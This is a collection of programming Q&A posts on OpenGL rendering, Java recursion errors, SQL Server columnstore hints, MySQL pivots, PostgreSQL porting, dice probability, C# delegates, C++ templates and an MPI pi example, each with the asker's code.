    I use a deferred rendering. During g-buffer stage my rendering loop for a sponza model (obj format) looks like this: int i = 0; int sum = 0; map<string, mtlItem *>::const_iterator itrEnd = mtl.getIteratorEnd(); for(map<string, mtlItem *>::const_iterator itr = mtl.getIteratorBegin(); itr != itrEnd; ++itr) { glActiveTexture(GL_TEXTURE0 + 0); glBindTexture(GL_TEXTURE_2D, itr->second->map_KdId); glDrawElements(GL_TRIANGLES, indicesCount[i], GL_UNSIGNED_INT, (GLvoid*)(sum * 4)); sum += indicesCount[i]; ++i; glBindTexture(GL_TEXTURE_2D, 0); } I sorted faces based on materials. I switch only a diffuse texture but I can place there more material properties. Is it a good approach ? I also wonder how to handle a different kind of materials, for example: some material use a normal map, other doesn't use. Should I have a different shaders for them ?

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  • Exception in thread "main" java.lang.StackOverflowError

    - by Ray.R.Chua
    I have a piece of code and I could not figure out why it is giving me Exception in thread "main" java.lang.StackOverflowError. This is the question: Given a positive integer n, prints out the sum of the lengths of the Syracuse sequence starting in the range of 1 to n inclusive. So, for example, the call: lengths(3) will return the the combined length of the sequences: 1 2 1 3 10 5 16 8 4 2 1 which is the value: 11. lengths must throw an IllegalArgumentException if its input value is less than one. My Code: import java.util.HashMap; public class Test { HashMap<Integer,Integer> syraSumHashTable = new HashMap<Integer,Integer>(); public Test(){ } public int lengths(int n)throws IllegalArgumentException{ int sum =0; if(n < 1){ throw new IllegalArgumentException("Error!! Invalid Input!"); } else{ for(int i =1; i<=n;i++){ if(syraSumHashTable.get(i)==null) { syraSumHashTable.put(i, printSyra(i,1)); sum += (Integer)syraSumHashTable.get(i); } else{ sum += (Integer)syraSumHashTable.get(i); } } return sum; } } private int printSyra(int num, int count){ int n = num; if(n == 1){ return count; } else{ if(n%2==0){ return printSyra(n/2, ++count); } else{ return printSyra((n*3)+1, ++count) ; } } } } Driver code: public static void main(String[] args) { // TODO Auto-generated method stub Test s1 = new Test(); System.out.println(s1.lengths(90090249)); //System.out.println(s1.lengths(5)); } . I know the problem lies with the recursion. The error does not occur if the input is a small value, example: 5. But when the number is huge, like 90090249, I got the Exception in thread "main" java.lang.StackOverflowError. Thanks all for your help. :) I almost forgot the error msg: Exception in thread "main" java.lang.StackOverflowError at Test.printSyra(Test.java:60) at Test.printSyra(Test.java:65) at Test.printSyra(Test.java:60) at Test.printSyra(Test.java:65) at Test.printSyra(Test.java:60) at Test.printSyra(Test.java:60) at Test.printSyra(Test.java:60) at Test.printSyra(Test.java:60)

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  • Stop running this script, IE7 using PHP

    - by Jomel Dicen
    I incorporate javascript in my PHP program: Try to check my codes. It loops depend on the number of records in database. for instance: $counter = 0; foreach($row_value as $data): echo $this->javascript($counter, $data->exrate, $data->tab); endforeach; private function javascript($counter=NULL, $exrate=NULL, $tab=NULL){ $js = " <script type='text/javascript'> $(function () { var textBox0 = $('input:text[id$=quantity{$counter}]').keyup(foo); var textBox1 = $('input:text[id$=mc{$counter}]').keyup(foo); var textBox2 = $('input:text[id$=lc{$counter}]').keyup(foo); function foo() { var value0 = textBox0.val(); var value1 = textBox1.val(); var value2 = textBox2.val(); var sum = add(value1, value2) * (value0 * {$exrate}); $('input:text[id$=result{$counter}]').val(parseFloat(sum).toFixed(2)); // Compute Total Quantity var qtotal = 0; $('.quantity{$tab}').each(function() { qtotal += Number($(this).val()); }); $('#tquantity{$tab}').text(qtotal); // Compute MC UNIT var mctotal = 0; $('.mc{$tab}').each(function() { mctotal += Number($(this).val()); }); $('#tmc{$tab}').text(mctotal); // Compute LC UNIT var lctotal = 0; $('.lc{$tab}').each(function() { lctotal += Number($(this).val()); }); $('#tlc{$tab}').text(lctotal); // Compute Result var result = 0; $('.result{$tab}').each(function() { result += Number($(this).val()); }); $('#tresult{$tab}').text(result); } function add() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { if (IsNumeric(arguments[i])) { sum += parseFloat(arguments[i]); } } return sum; } function IsNumeric(input) { return (input - 0) == input && input.length > 0; } }); </script> "; return $js; } When I running this on IE this message is always annoying me " Stop running this script? A script on this page is causing your web browser to run slowly. If it continues to run, your computer might become unresponsive." but in firefox it's functioning well.

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  • SQL SERVER – How to Ignore Columnstore Index Usage in Query

    - by pinaldave
    Earlier I wrote about SQL SERVER – Fundamentals of Columnstore Index and very first question I received in email was as following. “We are using SQL Server 2012 CTP3 and so far so good. In our data warehouse solution we have created 1 non-clustered columnstore index on our large fact table. We have very unique situation but your article did not cover it. We are running few queries on our fact table which is working very efficiently but there is one query which earlier was running very fine but after creating this non-clustered columnstore index this query is running very slow. We dropped the columnstore index and suddenly this one query is running fast but other queries which were benefited by this columnstore index it is running slow. Any workaround in this situation?” In summary the question in simple words “How can we ignore using columnstore index in selective queries?” Very interesting question – you can use I can understand there may be the cases when columnstore index is not ideal and needs to be ignored the same. You can use the query hint IGNORE_NONCLUSTERED_COLUMNSTORE_INDEX to ignore the columnstore index. SQL Server Engine will use any other index which is best after ignoring the columnstore index. Here is the quick script to prove the same. We will first create sample database and then create columnstore index on the same. Once columnstore index is created we will write simple query. This query will use columnstore index. We will then show the usage of the query hint. USE AdventureWorks GO -- Create New Table CREATE TABLE [dbo].[MySalesOrderDetail]( [SalesOrderID] [int] NOT NULL, [SalesOrderDetailID] [int] NOT NULL, [CarrierTrackingNumber] [nvarchar](25) NULL, [OrderQty] [smallint] NOT NULL, [ProductID] [int] NOT NULL, [SpecialOfferID] [int] NOT NULL, [UnitPrice] [money] NOT NULL, [UnitPriceDiscount] [money] NOT NULL, [LineTotal] [numeric](38, 6) NOT NULL, [rowguid] [uniqueidentifier] NOT NULL, [ModifiedDate] [datetime] NOT NULL ) ON [PRIMARY] GO -- Create clustered index CREATE CLUSTERED INDEX [CL_MySalesOrderDetail] ON [dbo].[MySalesOrderDetail] ( [SalesOrderDetailID]) GO -- Create Sample Data Table -- WARNING: This Query may run upto 2-10 minutes based on your systems resources INSERT INTO [dbo].[MySalesOrderDetail] SELECT S1.* FROM Sales.SalesOrderDetail S1 GO 100 -- Create ColumnStore Index CREATE NONCLUSTERED COLUMNSTORE INDEX [IX_MySalesOrderDetail_ColumnStore] ON [MySalesOrderDetail] (UnitPrice, OrderQty, ProductID) GO Now we have created columnstore index so if we run following query it will use for sure the same index. -- Select Table with regular Index SELECT ProductID, SUM(UnitPrice) SumUnitPrice, AVG(UnitPrice) AvgUnitPrice, SUM(OrderQty) SumOrderQty, AVG(OrderQty) AvgOrderQty FROM [dbo].[MySalesOrderDetail] GROUP BY ProductID ORDER BY ProductID GO We can specify Query Hint IGNORE_NONCLUSTERED_COLUMNSTORE_INDEX as described in following query and it will not use columnstore index. -- Select Table with regular Index SELECT ProductID, SUM(UnitPrice) SumUnitPrice, AVG(UnitPrice) AvgUnitPrice, SUM(OrderQty) SumOrderQty, AVG(OrderQty) AvgOrderQty FROM [dbo].[MySalesOrderDetail] GROUP BY ProductID ORDER BY ProductID OPTION (IGNORE_NONCLUSTERED_COLUMNSTORE_INDEX) GO Let us clean up the database. -- Cleanup DROP INDEX [IX_MySalesOrderDetail_ColumnStore] ON [dbo].[MySalesOrderDetail] GO TRUNCATE TABLE dbo.MySalesOrderDetail GO DROP TABLE dbo.MySalesOrderDetail GO Again, make sure that you use hint sparingly and understanding the proper implication of the same. Make sure that you test it with and without hint and select the best option after review of your administrator. Here is the question for you – have you started to use SQL Server 2012 for your validation and development (not on production)? It will be interesting to know the answer. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Index, SQL Optimization, SQL Performance, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • Error codes for C++

    - by billy
    #include <iostream> #include <iomanip> using namespace std; //Global constant variable declaration const int MaxRows = 8, MaxCols = 10, SEED = 10325; //Functions Declaration void PrintNameHeader(ostream& out); void Fill2DArray(double ary[][MaxCols]); void Print2DArray(const double ary[][MaxCols]); double GetTotal(const double ary[][MaxCols]); double GetAverage(const double ary[][MaxCols]); double GetRowTotal(const double ary[][MaxCols], int theRow); double GetColumnTotal(const double ary[][MaxCols], int theRow); double GetHighestInRow(const double ary[][MaxCols], int theRow); double GetLowestInRow(const double ary[][MaxCols], int theRow); double GetHighestInCol(const double ary[][MaxCols], int theCol); double GetLowestInCol(const double ary[][MaxCols], int theCol); double GetHighest(const double ary[][MaxCols], int& theRow, int& theCol); double GetLowest(const double ary[][MaxCols], int& theRow, int& theCol); int main() { int theRow; int theCol; PrintNameHeader(cout); cout << fixed << showpoint << setprecision(1); srand(static_cast<unsigned int>(SEED)); double ary[MaxRows][MaxCols]; cout << "The seed value for random number generator is: " << SEED << endl; cout << endl; Fill2DArray(ary); Print2DArray(ary); cout << " The Total for all the elements in this array is: " << setw(7) << GetTotal(ary) << endl; cout << "The Average of all the elements in this array is: " << setw(7) << GetAverage(ary) << endl; cout << endl; cout << "The sum of each row is:" << endl; for(int index = 0; index < MaxRows; index++) { cout << "Row " << (index + 1) << ": " << GetRowTotal(ary, theRow) << endl; } cout << "The highest and lowest of each row is: " << endl; for(int index = 0; index < MaxCols; index++) { cout << "Row " << (index + 1) << ": " << GetHighestInRow(ary, theRow) << " " << GetLowestInRow(ary, theRow) << endl; } cout << "The highest and lowest of each column is: " << endl; for(int index = 0; index < MaxCols; index++) { cout << "Col " << (index + 1) << ": " << GetHighestInCol(ary, theRow) << " " << GetLowestInCol(ary, theRow) << endl; } cout << "The highest value in all the elements in this array is: " << endl; cout << GetHighest(ary, theRow, theCol) << "[" << theRow << "]" << "[" << theCol << "]" << endl; cout << "The lowest value in all the elements in this array is: " << endl; cout << GetLowest(ary, theRow, theCol) << "[" << theRow << "]" << "[" << theCol << "]" << endl; return 0; } //Define Functions void PrintNameHeader(ostream& out) { out << "*******************************" << endl; out << "* *" << endl; out << "* C.S M10A Spring 2010 *" << endl; out << "* Programming Assignment 10 *" << endl; out << "* Due Date: Thurs. Mar. 25 *" << endl; out << "*******************************" << endl; out << endl; } void Fill2DArray(double ary[][MaxCols]) { for(int index1 = 0; index1 < MaxRows; index1++) { for(int index2= 0; index2 < MaxCols; index2++) { ary[index1][index2] = (rand()%1000)/10; } } } void Print2DArray(const double ary[][MaxCols]) { cout << " Column "; for(int index = 0; index < MaxCols; index++) { int column = index + 1; cout << " " << column << " "; } cout << endl; cout << " "; for(int index = 0; index < MaxCols; index++) { int column = index +1; cout << "----- "; } cout << endl; for(int index1 = 0; index1 < MaxRows; index1++) { cout << "Row " << (index1 + 1) << ":"; for(int index2= 0; index2 < MaxCols; index2++) { cout << setw(6) << ary[index1][index2]; } } } double GetTotal(const double ary[][MaxCols]) { double total = 0; for(int theRow = 0; theRow < MaxRows; theRow++) { total = total + GetRowTotal(ary, theRow); } return total; } double GetAverage(const double ary[][MaxCols]) { double total = 0, average = 0; total = GetTotal(ary); average = total / (MaxRows * MaxCols); return average; } double GetRowTotal(const double ary[][MaxCols], int theRow) { double sum = 0; for(int index = 0; index < MaxCols; index++) { sum = sum + ary[theRow][index]; } return sum; } double GetColumTotal(const double ary[][MaxCols], int theCol) { double sum = 0; for(int index = 0; index < theCol; index++) { sum = sum + ary[index][theCol]; } return sum; } double GetHighestInRow(const double ary[][MaxCols], int theRow) { double highest = 0; for(int index = 0; index < MaxCols; index++) { if(ary[theRow][index] > highest) highest = ary[theRow][index]; } return highest; } double GetLowestInRow(const double ary[][MaxCols], int theRow) { double lowest = 0; for(int index = 0; index < MaxCols; index++) { if(ary[theRow][index] < lowest) lowest = ary[theRow][index]; } return lowest; } double GetHighestInCol(const double ary[][MaxCols], int theCol) { double highest = 0; for(int index = 0; index < MaxRows; index++) { if(ary[index][theCol] > highest) highest = ary[index][theCol]; } return highest; } double GetLowestInCol(const double ary[][MaxCols], int theCol) { double lowest = 0; for(int index = 0; index < MaxRows; index++) { if(ary[index][theCol] < lowest) lowest = ary[index][theCol]; } return lowest; } double GetHighest(const double ary[][MaxCols], int& theRow, int& theCol) { theRow = 0; theCol = 0; double highest = ary[theRow][theCol]; for(int index = 0; index < MaxRows; index++) { for(int index1 = 0; index1 < MaxCols; index1++) { double highest = 0; if(ary[index1][theCol] > highest) { highest = ary[index][index1]; theRow = index; theCol = index1; } } } return highest; } double Getlowest(const double ary[][MaxCols], int& theRow, int& theCol) { theRow = 0; theCol = 0; double lowest = ary[theRow][theCol]; for(int index = 0; index < MaxRows; index++) { for(int index1 = 0; index1 < MaxCols; index1++) { double lowest = 0; if(ary[index1][theCol] < lowest) { lowest = ary[index][index1]; theRow = index; theCol = index1; } } } return lowest; } . 1>------ Build started: Project: teddy lab 10, Configuration: Debug Win32 ------ 1>Compiling... 1>lab 10.cpp 1>c:\users\owner\documents\visual studio 2008\projects\teddy lab 10\teddy lab 10\ lab 10.cpp(46) : warning C4700: uninitialized local variable 'theRow' used 1>c:\users\owner\documents\visual studio 2008\projects\teddy lab 10\teddy lab 10\ lab 10.cpp(62) : warning C4700: uninitialized local variable 'theCol' used 1>Linking... 1> lab 10.obj : error LNK2028: unresolved token (0A0002E0) "double __cdecl GetLowest(double const (* const)[10],int &,int &)" (?GetLowest@@$$FYANQAY09$$CBNAAH1@Z) referenced in function "int __cdecl main(void)" (?main@@$$HYAHXZ) 1> lab 10.obj : error LNK2019: unresolved external symbol "double __cdecl GetLowest(double const (* const)[10],int &,int &)" (?GetLowest@@$$FYANQAY09$$CBNAAH1@Z) referenced in function "int __cdecl main(void)" (?main@@$$HYAHXZ) 1>C:\Users\owner\Documents\Visual Studio 2008\Projects\ lab 10\Debug\ lab 10.exe : fatal error LNK1120: 2 unresolved externals 1>Build log was saved at "file://c:\Users\owner\Documents\Visual Studio 2008\Projects\ lab 10\teddy lab 10\Debug\BuildLog.htm" 1>teddy lab 10 - 3 error(s), 2 warning(s) ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

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  • Sample uniformly at random from an n-dimensional unit simplex.

    - by dreeves
    Sampling uniformly at random from an n-dimensional unit simplex is the fancy way to say that you want n random numbers such that they are all non-negative, they sum to one, and every possible vector of n non-negative numbers that sum to one are equally likely. In the n=2 case you want to sample uniformly from the segment of the line x+y=1 (ie, y=1-x) that is in the positive quadrant. In the n=3 case you're sampling from the triangle-shaped part of the plane x+y+z=1 that is in the positive octant of R3: (Image from http://en.wikipedia.org/wiki/Simplex.) Note that picking n uniform random numbers and then normalizing them so they sum to one does not work. You end up with a bias towards less extreme numbers. Similarly, picking n-1 uniform random numbers and then taking the nth to be one minus the sum of them also introduces bias. Wikipedia gives two algorithms to do this correctly: http://en.wikipedia.org/wiki/Simplex#Random_sampling (Though the second one currently claims to only be correct in practice, not in theory. I'm hoping to clean that up or clarify it when I understand this better. I initially stuck in a "WARNING: such-and-such paper claims the following is wrong" on that Wikipedia page and someone else turned it into the "works only in practice" caveat.) Finally, the question: What do you consider the best implementation of simplex sampling in Mathematica (preferably with empirical confirmation that it's correct)? Related questions http://stackoverflow.com/questions/2171074/generating-a-probability-distribution http://stackoverflow.com/questions/3007975/java-random-percentages

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  • mysql query to dynamically convert row data to columns

    - by Anirudh Goel
    I am working on a pivot table query. The schema is as follows Sno, Name, District The same name may appear in many districts eg take the sample data for example 1 Mike CA 2 Mike CA 3 Proctor JB 4 Luke MN 5 Luke MN 6 Mike CA 7 Mike LP 8 Proctor MN 9 Proctor JB 10 Proctor MN 11 Luke MN As you see i have a set of 4 distinct districts (CA, JB, MN, LP). Now i wanted to get the pivot table generated for it by mapping the name against districts Name CA JB MN LP Mike 3 0 0 1 Proctor 0 2 2 0 Luke 0 0 3 0 i wrote the following query for this select name,sum(if(District="CA",1,0)) as "CA",sum(if(District="JB",1,0)) as "JB",sum(if(District="MN",1,0)) as "MN",sum(if(District="LP",1,0)) as "LP" from district_details group by name However there is a possibility that the districts may increase, in that case i will have to manually edit the query again and add the new district to it. I want to know if there is a query which can dynamically take the names of distinct districts and run the above query. I know i can do it with a procedure and generating the script on the fly, is there any other method too? I ask so because the output of the query "select distinct(districts) from district_details" will return me a single column having district name on each row, which i will like to be transposed to the column.

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  • Porting Oracle Procedure to PostgreSQL

    - by Grasper
    I am porting an Oracle function into Postgres PGPLSQL.. I have been using this guide: http://www.postgresql.org/docs/8.1/static/plpgsql.html CREATE OR REPLACE PROCEDURE DATA_UPDATE (mission NUMBER, task NUMBER) AS BEGIN IF mission IS NOT NULL THEN UPDATE MISSION_OBJECTIVE MO SET (MO.MO_TKR_TOTAL_OFF_SCHEDULED, MO.MO_TKR_TOTAL_RECEIVERS) = (SELECT NVL(SUM(RR.TRQ_FUEL_OFFLOAD),0), NVL(SUM(RR.TRQ_NUMBER_RECEIVERS),0) FROM REFUELING_REQUEST RR, MISSION_REQUEST_PAIRING MRP WHERE MO.MSN_INT_ID = MRP.MSN_INT_ID AND MO.MO_INT_ID = MRP.MO_INT_ID AND MRP.REQ_INT_ID = RR.REQ_INT_ID) WHERE MO.MSN_INT_ID = mission AND MO.MO_INT_ID = task ; END IF ; COMMIT ; END ; I've got it this far: CREATE OR REPLACE FUNCTION DATA_UPDATE (NUMERIC, NUMERIC) RETURNS integer as ' DECLARE mission ALIAS for $1; task ALIAS for $2; BEGIN IF mission IS NOT NULL THEN UPDATE MISSION_OBJECTIVE MO SET (MO.MO_TKR_TOTAL_OFF_SCHEDULED, MO.MO_TKR_TOTAL_RECEIVERS) = (SELECT COALESCE(SUM(RR.TRQ_FUEL_OFFLOAD),0), COALESCE(SUM(RR.TRQ_NUMBER_RECEIVERS),0) FROM REFUELING_REQUEST RR, MISSION_REQUEST_PAIRING MRP WHERE MO.MSN_INT_ID = MRP.MSN_INT_ID AND MO.MO_INT_ID = MRP.MO_INT_ID AND MRP.REQ_INT_ID = RR.REQ_INT_ID) WHERE MO.MSN_INT_ID = mission AND MO.MO_INT_ID = task ; END IF; COMMIT; END; ' LANGUAGE plpgsql; This is the error I get: ERROR: syntax error at or near "SELECT" LINE 1: ...OTAL_OFF_SCHEDULED, MO.MO_TKR_TOTAL_RECEIVERS) = (SELECT COA... I do not know why this isn't working... any ideas?

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  • Calculating odds distribution with 6-sided dice

    - by Stephen
    I'm trying to calculate the odds distribution of a changing number of 6-sided die rolls. For example, 3d6 ranges from 3 to 18 as follows: 3:1, 4:3, 5:6, 6:10, 7:15, 8:21, 9:25, 10:27, 11:27, 12:25, 13:21, 14:15, 15:10, 16:6, 17:3, 18:1 I wrote this php program to calculate it: function distributionCalc($numberDice,$sides=6) { for ( $i=0; $i<pow($sides,$numberDice); $i++) { $sum=0; for ($j=0; $j<$numberDice; $j++) { $sum+=(1+(floor($i/pow($sides,$j))) % $sides); } $distribution[$sum]++; } return $distribution; } The inner $j for-loop uses the magic of the floor and modulus functions to create a base-6 counting sequence with the number of digits being the number of dice, so 3d6 would count as: 111,112,113,114,115,116,121,122,123,124,125,126,131,etc. The function takes the sum of each, so it would read as: 3,4,5,6,7,8,4,5,6,7,8,9,5,etc. It plows through all 3^6 possible results and adds 1 to the corresponding slot in the $distribution array between 3 and 18. Pretty straightforward. However, it only works until about 8d6, afterward i get server time-outs because it's now doing billions of calculations. But I don't think it's necessary because die probability follows a sweet bell-curve distribution. I'm wondering if there's a way to skip the number crunching and go straight to the curve itself. Is there a way to do this, so, for example, with 80d6 (80-480)? Can the distribution be projected without doing 6^80 calculations? I'm not a professional coder and probability is still new to me, so thanks for all the help! Stephen

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  • why assign null value or another default value firstly?

    - by Phsika
    i try to generate some codes. i face to face delegates. Everythings is ok.(Look below) But appearing a warning: you shold assing value why? but second code below is ok. namespace Delegates { class Program { static void Main(string[] args) { HesapMak hesapla = new HesapMak(); hesapla.Calculator = new HesapMak.Hesap(hesapla.Sum); double sonuc = hesapla.Calculator(34, 2); Console.WriteLine("Toplama Sonucu:{0}",sonuc.ToString()); Console.ReadKey(); } } class HesapMak { public double Sum(double s1, double s2) { return s1 + s2; } public double Cikarma(double s1, double s2) { return s1 - s2; } public double Multiply(double s1, double s2) { return s1 * s2; } public double Divide(double s1, double s2) { return s1 / s2; } public delegate double Hesap(double s1, double s2); public Hesap Calculator; ----&#60; they want me assingn value } } namespace Delegates { class Program { static void Main(string[] args) { HesapMak hesapla = new HesapMak(); hesapla.Calculator = new HesapMak.Hesap(hesapla.Sum); double sonuc = hesapla.Calculator(34, 2); Console.WriteLine("Toplama Sonucu:{0}",sonuc.ToString()); Console.ReadKey(); } } class HesapMak { public double Sum(double s1, double s2) { return s1 + s2; } public double Cikarma(double s1, double s2) { return s1 - s2; } public double Multiply(double s1, double s2) { return s1 * s2; } public double Divide(double s1, double s2) { return s1 / s2; } public delegate double Hesap(double s1, double s2); public Hesap Calculator=null; } }

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  • Just introducing myself to TMPing, and came across a quirk

    - by Justen
    I was just trying to learn the syntax of the beginner things, and how it worked when I was making this short bit of code. The code below works in adding numbers 1 to 499, but if I add 1 to 500, the compiler bugs out giving me: fatal error C1001: An internal error has occurred in the compiler. And I was just wondering why that is. Is there some limit to how much code the compiler can generate or something and it just happened to be a nice round number of 500 for me? #include <iostream> using namespace std; template < int b > struct loop { enum { sum = loop< b - 1 >::sum + b }; }; template <> struct loop< 0 > { enum { sum = 0 }; }; int main() { cout << "Adding the numbers from 1 to 499 = " << loop< 499 >::sum << endl; return 0; }

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  • Is it possible in any Java IDE to collapse the type definitions in the source code?

    - by asmaier
    Lately I often have to read Java code like this: LinkedHashMap<String, Integer> totals = new LinkedHashMap<String, Integer>(listOfRows.get(0)) for (LinkedHashMap<String, Integer> row : (ArrayList<LinkedHashMap<String,Integer>>) table.getValue()) { for(Entry<String, Integer> elem : row.entrySet()) { String colName=elem.getKey(); int Value=elem.getValue(); int oldValue=totals.get(colName); int sum = Value + oldValue; totals.put(colName, sum); } } Due to the long and nested type definitions the simple algorithm becomes quite obscured. So I wished I could remove or collapse the type definitions with my IDE to see the Java code without types like: totals = new (listOfRows.get(0)) for (row : table.getValue()) { for(elem : row.entrySet()) { colName=elem.getKey(); Value=elem.getValue(); oldValue=totals.get(colName); sum = Value + oldValue; totals.put(colName, sum); } } The best way of course would be to collapse the type definitions, but when moving the mouse over a variable show the type as a tooltip. Is there a Java IDE or a plugin for an IDE that can do this?

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  • Code Explanation (MPICH)

    - by user243680
    #include "mpi.h" #include <stdio.h> #include <math.h> double f(double a) { return (4.0 / (1.0 + a*a)); } void main(int argc, char *argv[]) { int done = 0, n, myid, numprocs,i; double PI25DT = 3.141592653589793238462643; double mypi, pi, h, sum, x; double startwtime, endwtime; int namelen; char processor_name[MPI_MAX_PROCESSOR_NAME]; MPI_Init(&argc,&argv); MPI_Comm_size(MPI_COMM_WORLD,&numprocs); MPI_Comm_rank(MPI_COMM_WORLD,&myid); MPI_Get_processor_name(processor_name,&namelen); fprintf(stderr,"Process %d on %s\n", myid, processor_name); fflush(stderr); n = 0; while (!done) { if (myid == 0) { printf("Enter the number of intervals: (0 quits) ");fflush(stdout); scanf("%d",&n); startwtime = MPI_Wtime(); } MPI_Bcast(&n, 1, MPI_INT, 0, MPI_COMM_WORLD); if (n == 0) done = 1; else { h = 1.0 / (double) n; sum = 0.0; for (i = myid + 1; i <= n; i += numprocs) { x = h * ((double)i - 0.5); sum += f(x); } mypi = h * sum; MPI_Reduce(&mypi, &pi, 1, MPI_DOUBLE, MPI_SUM, 0, MPI_COMM_WORLD); if (myid == 0) { printf("pi is approximately %.16f, Error is %.16f\n", pi, fabs(pi - PI25DT)); endwtime = MPI_Wtime(); printf("wall clock time = %f\n", endwtime-startwtime); } } } MPI_Finalize(); } Can anyone explain me the above code what it does??I am in lab and my miss has asked me to explain and i dont know what it is.please help

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